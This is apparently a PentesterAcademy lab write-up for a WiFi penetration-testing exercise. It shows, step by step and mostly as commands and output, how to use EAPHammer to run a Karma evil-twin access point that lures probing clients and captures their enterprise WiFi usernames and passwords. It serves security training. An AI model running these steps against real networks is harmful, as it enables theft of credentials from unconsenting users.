ATTACK DEFENSE

by PentesterAcademy

Name	Karma Attacks (EAPHammer)
URL	https://www.attackdefense.com/challengedetails?cid=1302
Type	WiFi Pentesting : Honeypots

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Deploy an evil twin using EAPHammer which can perform Karma attack and make multiple clients join its network simultaneously. And, retrieve the secret credentials/passphrases.

Solution:

Step 1: Check the list of available WiFi network interfaces on the machine

Command: iw dev.

```
root@attackdefense:~# iw dev
phy#1
        Interface wlan1
                ifindex 5
                wdev 0x100000001
                addr 02:00:00:00:01:00
                type managed
                txpower 0.00 dBm
phy#0
        Interface wlan0
                ifindex 4
                wdev 0x1
                addr 02:00:00:00:00:00
                type managed
                txpower 0.00 dBm
root@attackdefense:~#
```

wlan0 and wlan1 interfaces are present on the machine.

Step 2: Change interface wlan0 to monitor mode.

Command: iw dev wlan0 set monitor none

```
root@attackdefense:~# iw dev wlan0 set monitor none
```

Verify the same using iw dev command.

```
root@attackdefense:~# iw dev
phy#1
        Interface wlan1
                ifindex 5
                wdev 0x100000001
                addr 02:00:00:00:01:00
                type managed
                txpower 0.00 dBm
phy#0
        Interface wlan0
                ifindex 4
                wdev 0x1
                addr 02:00:00:00:00:00
                type monitor
                txpower 0.00 dBm
root@attackdefense:~#
```

Step 3: Run airodump-ng on wlan0 interface to view all networks present in the vicinity on 2.4 (b/g) Ghz band.

Command: airodump-ng wlan0

```
root@attackdefense:~# airodump-ng wlan0
```

```
CH 12 ][ Elapsed: 6 s ][ 2019-10-27 08:34

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID


BSSID              STATION            PWR   Rate    Lost    Frames  Probe

(not associated)   02:00:00:00:03:00  -49    0 - 1      0        2  ExpoCenterPrivate
(not associated)   02:00:00:00:04:00  -49    0 - 1     14        4  SuperPlaza-Staff
```

There are two clients probing for “ExpoCenterPrivate” and “SuperPlaza-Staff” in the vicinity.

Step 3: Start a WiFi network with SSID “FreeInternet” in WPA-Enterprise configuration using EAPHammer. EAPHammer is located in the home directory of the root user (i.e. /root/eaphammer)

Command: ./eaphammer -i wlan1 --essid FreeInternet -c 1 --auth wpa-eap --karma

```
root@attackdefense:~/eaphammer# ./eaphammer -i wlan1 --essid FreeInternet -c 1 --auth wpa-eap --karma

                    .__
  ____ _____  ______|  |__ ____   ____   ____  __________
_/ __ \\__  \ \____ \|  |  \\__  \  /    \ /    \_/ __ \_  __ \
\  ___/ / __ \|  |_> >   Y  \/ __ \|  Y Y  \  Y Y  \  ___/|  | \/
 \___  >____  /   __/|___|  (____  /__|_|  /__|_|  /\___  >__|
     \/     \/|__|        \/     \/      \/      \/     \/
```

```
[hostapd] AP starting...

Configuration file: /root/eaphammer/tmp/hostapd-2019-10-27-08-34-33-tIw75KfxsNT8iMLab2A1qXxIRJbzl8Dt.conf
wlan1: interface state UNINITIALIZED->COUNTRY_UPDATE
Using interface wlan1 with hwaddr 00:11:22:33:44:00 and ssid "FreeInternet"
wlan1: interface state COUNTRY_UPDATE->ENABLED
wlan1: AP-ENABLED
```

Step 7: Within seconds of launching the honeypot, eapammer will start intercepting the probes requests sent by the clients and the clients will start connecting to it.

```
wlan1: STA 02:00:00:00:04:00 IEEE 802.11: authenticated
wlan1: STA 02:00:00:00:04:00 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 02:00:00:00:04:00
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: STA 02:00:00:00:03:00 IEEE 802.11: authenticated
wlan1: STA 02:00:00:00:03:00 IEEE 802.11: associated (aid 2)
wlan1: CTRL-EVENT-EAP-STARTED 02:00:00:00:03:00
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=21
```

The same can be verified in Airodump-ng output

```
CH  9 ][ Elapsed: 48 s ][ 2019-10-27 08:34 ][ Decloak: 00:11:22:33:44:00

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:11:22:33:44:00  -29      124       17    0   1  54   WPA2 CCMP   MGT  FreeInternet

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:11:22:33:44:00  02:00:00:00:03:00  -29    1 - 1      0       39  ExpoCenterPrivate
00:11:22:33:44:00  02:00:00:00:04:00  -29    1 - 1      0       41  SuperPlaza-Staff
```

When clients connect to EAPhammer honeypot, it will capture the user credentials for the networks.

```
eap-ttls/pap: Sun Oct 27 08:34:46 2019
         username:      amanda
         password:      password@123#1
wlan1: CTRL-EVENT-EAP-FAILURE 02:00:00:00:03:00
wlan1: STA 02:00:00:00:03:00 IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan1: STA 02:00:00:00:03:00 IEEE 802.1X: Supplicant used different EAP type: 21 (TTLS)


GTC: Sun Oct 27 08:34:46 2019
         username:      daniel
         password:      secure@pass#123
wlan1: CTRL-EVENT-EAP-FAILURE 02:00:00:00:04:00
wlan1: STA 02:00:00:00:04:00 IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan1: STA 02:00:00:00:04:00 IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
```

The captured user credentials are:

For SSID ExpoCenterPrivate

- **Username:** amanda **Password:** password@123#1

For SSID SuperPlaza-Staff

- **Username:** daniel **Password:** secure@pass#123